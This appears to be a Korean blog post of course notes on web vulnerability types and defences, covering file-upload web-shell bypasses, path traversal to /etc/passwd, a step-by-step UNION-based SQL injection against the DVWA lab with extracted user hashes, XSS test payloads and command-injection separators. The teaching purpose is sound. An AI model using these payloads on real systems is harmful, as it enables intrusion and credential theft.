Code&Data Insights

[새싹 성동 2기] 보안 관제 실무(2) - 웹 취약점 분석과 종류 & 공격과 방어 기법 (File Upload | XSS | SQL Injection) 본문

Cyber Security/[새싹+SK쉴더스] 생성형 AI 활용 클라우드&보안 전문가 과정

[새싹 성동 2기] 보안 관제 실무(2) - 웹 취약점 분석과 종류 & 공격과 방어 기법 (File Upload | XSS | SQL Injection)

paka_corn 2024. 12. 7. 22:46

웹 취약점 가이드라인

<국제 표준>

- OWASP Top10 기준선(2021년 기준이 최신), 4년에 한번 개정

=> 웹 취약성을 연구하는 연구원들이 4년마다 많이 발생한 웹 취약성을 목록화 발표

- NIST 기준(WEB 취약성 31개)

 

<한국 표준>

- 주요통신기반시설 취약점 점검 가이드 라인(28개), 공개, 행안부, KISA (2021)

- 전자금융기반시설 취약점 점검 가이드(48개), 비공개, 금융보안원 (2024)

- 행정안전부 SW취약점 개발 가이드(49개), 공개, 행안부, KISA (2021)

- 국정원 정보보안관리실태평가(13개), 비공개, 국정원 (2024)

 

웹 취약점 종류

1) File Upload (+Download)

Upload

: 게시판 업로드를 통해 악성파일이 업로드 되는 경우

=> 프로필사진 업로드, PUT Method 이용

- 악성파일: jsp, php, asp, py, sh, exe, ps 등

 

=> 악성파일 확장자들이 Web Shell로 동작 가능

파일업로드 취약점 OR 웹셀 업로드 취약점이라고도 불림 

(Web Shell: 해당 웹 서버의 권한을 제어할 수 있는 취약성

---> 국정원은 단순 악성 파일 확장자가 업로드만 되도 취약하다고 판단

---> 행안부는 업로드 + 실행까지 되어야지 취약하다고 판단함

---> 민간 기업의 경우 행안부, 공공 기관의 경우 국정원 기준의 적용이 필요함 (금융보안원 -> 국정원의 기준을 따름)

 

=> 업로드된 파일이 실행되기 위한 조건: 업로드 폴더의 실행권한, 업로드된 파일 경로 노출

 

Download

: download 함수의 경로 조작을 통해 임의의 경로 파일 다운로드 확인

 

=> 공지사항에 첨부된 청부파일의 경로를 통해 공격을 시도함

예시) http://test.com/notice/file?down=abcd.pdf

---> 보통 첨부파일에 마우스 우클릭을 누르면 취약한 경우 위와 같이 주소가 노출됨

---> http://test.com/notice/file?down=../../../../../../../../../etc/password와 같이 입력하여, 상대경로 (패스워드)파일 다운로드 가능

 

업로드에 대한 상태 차이

유닉스: 확장자 기반이 아니라 권한기반으로 동작

윈도우: 확장자 기반으로 실행 

---> 파일 업로드 취약점은 윈도우 서버가 더 안전함 

---> 확장자 기반으로 필터가 되어 있을 때, 확장자를 변경해서 업로드해도 실행이 안됨. 해당 확장자로 인식

 

(1) 공격자는 확장자를 변경하던지, (2) Content-type을 변경하는 방식으로 우회 업로드를 시도함 

Upgrade 까지 Header, 밑에 body

=> (1) GIF89a 설정 

=> (2) content-type 바꾸기 : image/jpeg

--> 기존 .php 확장자 파일이 정상적으로 upload됨 

 

(php 확장자는 뒤에 php1, php2, .., php7까지 php로 인식이 됨) 

 

2) SQL Injection 

: SQL Query(데이터베이스)를 통해 발생하는 취약점

정형화된 공격 기법들이 존재

 

DB를 사용하는 경우

1) 회원가입, 로그인, 게시판 조회(검색)

[ Login Form ]

select id, pw from users were id=" " and pw=" ", 

 

SQL Injection은 보통 로그인 폼, 검색 폼에서 많이 발생됨 

and의 조건때문에 참이여야지만 데이터가 반환 되므로, 강제로 or조건으로 변경 

'or 1=1-- (주석처리)를 아이디 필드에 입력하여 or 조건으로 변경 (--은 그 뒤에 내용을 주석처리함) 

 

select id, pw from users where id='admin' or 1=1--' and pw='pass'

or 조건은 둘 중 하나만 참이면 참을 반환함

 

SQL Injection의 취약성 테스트는 '(single quote)를 먼저 입력하여 특수 Char로 인식되는지 부터 판단이 필요

-> 다만, 싱글쿼터(') 대신에 `(backtick)이 인식되는 경우가 있음 

 

< SQL Injection 공격 Flow > 

(1) 'or 1=1#  또는 ' or 1=1 -- 입력해서 모든 데이터 출력하기

(DB버전에 따라 #이 주석 또는 --가 주석인 경우가 있음) 

select first, surname from names where id=''or 1=1#'

 

(2) 'union select 1#  ---> 다중 선택(조회) 구문

'union select 1,2# ---> 컬럼 개수 파악하기 

 

(3) 'union select 1, @@version #  ---> 버전 정보 확인

=> Surname: 10.1.26-MariaDB-0+deb9u1 와 같은 형식으로 DB의 버전 정보가 출력됨

 

(4) 'union select 1, schema_name from information_schema.schemata #  --->  DB정보 확인

=> information_schema: DB 생성시, 자동으로 생성되는 테이블, DB에 사용중인 모든 DB와 관련된 정보가 기본으로 저장됨

ID: 'union select 1, schema_name from information_schema.schemata # 
First name: 1
Surname: dvwa

ID: 'union select 1, schema_name from information_schema.schemata # 
First name: 1
Surname: information_schema

=> DB 테이블이 2개 존재함을 확인

 

(5) 'union select 1, table_name from information_schema.tables  where table_schema='dvwa'# --->   Table 이름 확인

ID: 'union select 1, table_name from information_schema.tables  where table_schema='dvwa'#
First name: 1
Surname: guestbook

ID: 'union select 1, table_name from information_schema.tables  where table_schema='dvwa'#
First name: 1
Surname: users

=> guestbook, users 2개의 table 확인 

 

(6) 'union select 1, column_name from information_schema.columns  where table_name='users'# --->   column 이름 확인

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: user_id

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: first_name

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: last_name

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: user

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: password

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: avatar

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: last_login

ID: 'union select 1, column_name from information_schema.columns  where table_name='users'#
First name: 1
Surname: failed_login

 

(7) 'union select user,password from users # ---> users table로 부터 id, password 추출 

=> 각 유저의 id와 password(해시값, MD5)을 얻을 수 있음 

ID: 'union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

 

(8) CrackStation에서 hash값 추출

https://crackstation.net/

(9) wireshark를 실행하여, 패킷의 내용이 평문으로 보임 (암호화 X) 

- 관제 장비도 마찬가지로, 데이터가 평문일 경우에 탐지가 가능

=> 실습 환경일 경우 http, 평문 통신이 당연함 

 

=> 실제 사이트의 경우 대부분은 https(SSL/TLS)가 적용되어 있음 (암호화 O)

---> 공격자가 공격하는 데이터는 모두 암호화 되어 네트워크 구간을 지나감 

 

Q) https 환경의 보안장비에서는 어떻게 탐지가 가능할까?

A) 모든 보안장비마다 Proxy 서버 두기

=> proxy = SSL/TLS가 모두 평문으로 확인 가능

 

(공격자)인터넷 <-> 라우터 <-> FW(proxy)/IDS(proxy)/IPS(proxy) --- WAF(proxy)/DMZ(네이버) 

 

BPR (비즈니스 프로세스 리엔지니어링)

: 기존에 있던 네트워크에서 잘못된 부분을 파악하고 다시 구성하고 개선

 

ISP (정보화전략계획)

 

** SQLMAP SQL Injection 공격을 자동화 해주는 도구 **

 

proxy: proxy 기능

intruder: 자동화 공격

repeater: 패킷(트래픽) 사용

decoder: 복호화(URL, HTML, Base64 등 복호화가 가능한 알고리즘)

extension: 확장기능(Burpsuite는 plugin을 가져다가 사용할 수 있음)

 

패킷(트래픽) 구조

: POST ~ Upgrade 까지는 모두 헤더 영역

 

id=1&Submit=Submit  ---> Body/Payload 영역이 됨(실제 서버로 전송되는 데이터 정보)

=> User-Agent 정보는 사후에 사고가 발생했을 때, 사용 가능(공격자의 환경 파악), 웹 서버의 access 로그에 기록되도록 설정이 필요함 

=> Referer: 내가 마지막으로 방문한 주소(POST에 있는 경로에 접속하기 위해 마지막으로 접속한 주소)

=> Cookie: 연결 정보(세션)

 

3) XSS (Stored, Reflected) : Cross-site Scripts

: 스크립트(JS)를 통해 실행되는 공격

 

취약성 테스트: <script> alert("test") </script>

=> Cheat Sheet가 4천개 정도 존재

 

취약점: 게시판 글쓰기, 회원가입, 프로파일, 검색 폼 

 

=> 브라우저의 개발자 도구를 통해 스크립트가 인식되는지 확인이 필요함

 

어떤 문자열이 필터링 되는지 

Stored

- 저장형태의 스크립트 (게시판 글쓰기 등)

 

Reflected

- 반사 형태의 스크립트 (검색)

 

=> mXSS (변종 XSS)도 파악해야 함! 

https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/

 

mXSS: The Vulnerability Hiding in Your Code

XSS is a well-known bug class, but a lesser-known yet effective variant called mXSS has emerged over the last couple of years. In this blog, we will cover the fundamentals of this XSS variant and examine how you can protect against it.

www.sonarsource.com

 

4) 정보노출

: 버전 정보가 노출되는 취약성

=> WEB/WAS에 대한 버전 정도

 

curl  -v -X OPTIONS http://test.com/ 

---> OPTIONS Method를 통해 헤더정보 출력

---> Server: Apache/2.4.25 (Debian)  "서버 정보(버전) 노출"

 

curl -v -X GET1 http://test.com/  

---> 존재하지 않는 METHOD를 사용함으로써 에러 유발을 통해 확인 가능

---> Server: Apache/2.4.25 (Debian)  "서버 정보(버전) 노출"

 

Burpsuite를 가지고 확인이 가능

---> Burpsuite == Proxy 도구

 

클라이언트 --------------------------------------------- 웹 서버  <일반적인 통신 구조>

클라이언트 ------------------프록시서버------------ 웹 서버  <중간에 프록시 서버가 설정됨>

 

프록시 서버의 역할?

: 클라이언트가 서버로 보내는 데이터를 프록시 서버에서 검증하고 서버로 보내는 역할

검증

- 서버로 전송되는 데이터를 모두 확인 가능(편집가능)

- 클라이언트 <-> 서버, 양방향 조작이 가능하게 함 

 

5) 관리자 페이지 노출

: admin 페이지가 노출 되는 취약성

---> http://test.com/admin 과 같은 구조 (Path 구조)

---> http://admin.test.com/ 또는 이런 구조(서브 도메인)

---> adm, admi, admind 등 관리자 페이지 단어 유추 입력

URL 구조 이해

http://abc.test.com/test/page?vuln=exe

http: http 프로토콜 사용

abc: test.com의 서브 도메인(자식)

test.com: 위치 정보를 가지는 도메인 정보

test: path(경로), Directory

page: web page를 나타냄

vuln: parameter, webpage에 속한 함수 명

exe: 파라미터 인자값

 

==> 웹과 관련된 취약점(입력기준)은 파라미터 인자값에서만 발생함

예시) http://abc.test.com/search?a=<script>alert("test")</script>

 

6) 인증우회

: 인증 과정에 있어, 정상 사용자 번호가 아닌 타인의 번호로 인증 받아 접속 시도하는 취약성

ex) 휴대폰으로 인증번호 받고 접속 시, 휴대폰 번호를 중간에 변경하여 등록되지 않은 번호로 받아 접속시도

 

- 인증서 전체 내용을 그대로 복사하여 바꿔치기하여, 타인의 정보로 로그인이 가능한 경우 

---> Burpsuite를 통해서 가능함

 

7) 파라미터 조작

: 정상 파라미터 인자 값을 조작하여, 타인의 글 접근, 수정, 삭제, 권한이 없는 게시판 접근, 결제 조작 등의 취약성

 

http://test.com/board?id=1  ---> 정상데이터

http://test.com/board?id=3  ---> 권한이 없는 게시판에 접근이 가능 

 

8) 디버깅 정보노출

: 웹 브라우저 개발자 도구를 통해 하드코딩 된 중요정보가 노출되는 취약성

- 중요 정보: DB접속, 서버접속, 관리자ID, PW

 

웹 개발자 도구 & 작업순서 

(1) Network - 사이트에 어떤 데이터가 로드되는지 확인 가능

(2) Debugger - 코드 정보

(3) Storage - 쿠키, 세션

(4) Inspector - 추적, 감사

(5) Console - 함수 호출

 

9) 세션 재사용

: 개발자 도구에서 Storage를 수정해서, 세션 정보의 재사용 취약성

- 새션 재사용은 정상적인 로그아웃을 하였을 때와, 강제로 브라우저를 종료했을 때 모두 점검이 필요함 

=> 둘 중 하나라도 취약성이 식별되면 취약하다고 판단 

 

---> 정상적인 로그아웃 시, 세션이 종료되는 것이 정상 

 

10) 불필요한 Method 사용

: PUT, DELETE와 같은 취약한 Method 사용 여부 판단

=> 업로드, 삭제가 특히 위험하다고 판단

 

METHOD

GET: 페이지 요청

POST: 서버에 데이터 반영 (Login, Write 작업) 

PUT: 서버의 데이터 갱신 또는 업로드

DELETE: 서버의 데이터 삭제

OPTIONS: 서버의 헤더 정보 요청

PATCH: 서버정보 갱신

점검방식 

(1) curl -v -X OPTIONS http://test.com/ ---> allow method 판단이 가능 

(2) Burpsuite - 불필요한 method 탐지 

 

11) Brute Force

: 자동화 공격, 무차별 대입 공격 (사전기반, 무차별)

로그인 (취약한 ID or 패스워드 사용 시)

파라미터 변조 (API 포함) 데이터를 확인할 때

 

=> Intruder 기능을 사용하거나 코딩

 

12) Command Injection 

: 명령어 주입 공격, system 함수에 의해 추가로 명령어가 실행되는 구조

(1) ;

(2) &&

(3) |

(4) ||

 

예시) ls ;pwd를 하면, ls가 실행되고(실행 여부 상관 없이), pwd가 실행됨

---> parameter 인자값으로 전달

---> 해당 기능에서 system(cmd, sh) 함수를 사용하고 있을 경우에만 가능

 

- 공유기, 프린터, IoT, 임베디드 장비에서 발생

 

웹 취약점 대응 방법

1. SQL Injection  & XSS 

: 문자열 필터로 쉽게 대응 가능

 

1) 보안장비 

'union select, or 1=1, <script>, alert, <img ~ 

 

Q) 보안장비에서 union, select 등 문자열에 대한 필터를 어떻게 할 것인가?  "오용탐지 낮추는 법?"

(예시) id가 union인 경우?? 

 

A) 정규표현식 사용 

- 정규표현식: 

 

2) 시큐어코딩

loginpage --->  id form

=> '가 입력 안되도록 방지하기 

=> %20(공백)이 입력되지 않도록  replace(치환)만 하면 대응 가능 

=> '<' char 아니라 text 인식되도록 form에서 설정 하면 됨

 

2. File Upload (+Download)

1) 업로드 폴더 실행권한 제거, 업로드된 파일 경로 노출 제거

- 서버설정(시큐어 코딩)

2) 악성파일 확장자 업로드 필터

- 서버설정(시큐어 코딩)

3) 업로드되는 데이터 영역에 대한 문자열 필터(파일헤더, 본문도 점검이 필요) 

- 데이터영역(payload, body)

 

 

 

reference

온프레미스와 클라우드 환경의 보안 관제 실무 - 이별 강사님

Comments